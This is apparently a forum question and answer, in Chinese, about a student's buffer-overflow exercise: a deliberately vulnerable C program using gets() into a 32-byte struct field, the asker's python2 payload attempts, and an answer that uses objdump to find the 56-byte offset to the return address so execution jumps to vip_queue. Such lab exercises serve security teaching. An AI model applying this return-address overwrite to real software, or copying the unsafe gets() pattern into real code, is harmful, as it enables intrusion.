我是一名网络安全学生,我正在做一个练习,其中我必须通过缓冲区溢出访问 vip_queue 函数而不更改 check 的值。我已经尝试了几个小时但没有得到任何结果。我希望你能帮助我,谢谢。这是代码:
#include <stdio.h>
#include <stdlib.h>
typedef struct {
char name[32];
int check;
} user_data;
void banner() {
puts(" _ _ _ _____");
puts("| \\ | (_) ___ ___| ___|__ _ __ _ _ _ __ ___ ___");
puts("| \\| | |/ __/ _ \\ |_ / _ \\| '__| | | | '_ ` _ \\/ __|");
puts("| |\\ | | (_| __/ _| (_) | | | |_| | | | | | \\__ \\");
puts("|_| \\_|_|\\___\\___|_| \\___/|_| \\__,_|_| |_| |_|___/");
puts("\n\n\n");
}
void vip_queue() {
puts("[+] Your user is in the VIP list. Thanks for subscribing :D");
puts("===================================");
puts("===================================");
puts("==== CONGRATULATIONS ====");
puts("===================================");
puts("==== YOU MANAGED ====");
puts("==== TO EXPLOIT THE BINARY ====");
puts("===================================");
puts("===================================");
puts("== STACK BASED BUFFER OVERFLOW ==");
puts("===================================");
puts("===================================");
}
void get_user_info() {
user_data data;
data.check = 0;
puts("[+] Welcome to NiceForums!");
puts("[+] Please, submit your name or alias to continue with the subscription.");
puts("Name or Alias:");
gets(data.name);
if ( data.check != 0 ) {
puts("[!] ALERT! Stop trying strange stuff >:(");
exit(1);
}
return;
}
int main() {
banner();
get_user_info();
puts("[!] There are no places available for non VIP users and you don't figure as one.");
}
我试过:
python2 -c "print 32 * b'A' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output9.txt
其中 \xa7\x11\x40\x00\x00\x00\x00\x00 是函数 vip_queue 存储的地址 还有:
python2 -c "print 36 * b'A' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output8.txt
python2 -c "print 32 * b'A' + 4 * b'0' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output7.txt
python2 -c "print 32 * b'A' + '\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output78
我用这个执行了代码:
gcc -no-pie -fno-stack-protector nice_forums.c -o nice_forums
您的方向是正确的,但您对退货地址的位置做出了错误的假设。我们可以使用
objdump -S
来看看反汇编的函数。
对我来说,它看起来像这样(对你来说可能不同):
[...]
0000000000401262 <get_user_info>:
void get_user_info() {
401262: 55 push %rbp
401263: 48 89 e5 mov %rsp,%rbp
401266: 48 83 ec 30 sub $0x30,%rsp
[...]
4012d0: c9 leave
4012d1: c3 ret
[...]
因此,在这种情况下,返回地址之前有
0x30
+ 8 个字节 = 56 个字节。因此,name
需要 32 个字节,check
需要 4 个零字节,加上 20 个额外字节和然后vip_queue
的地址。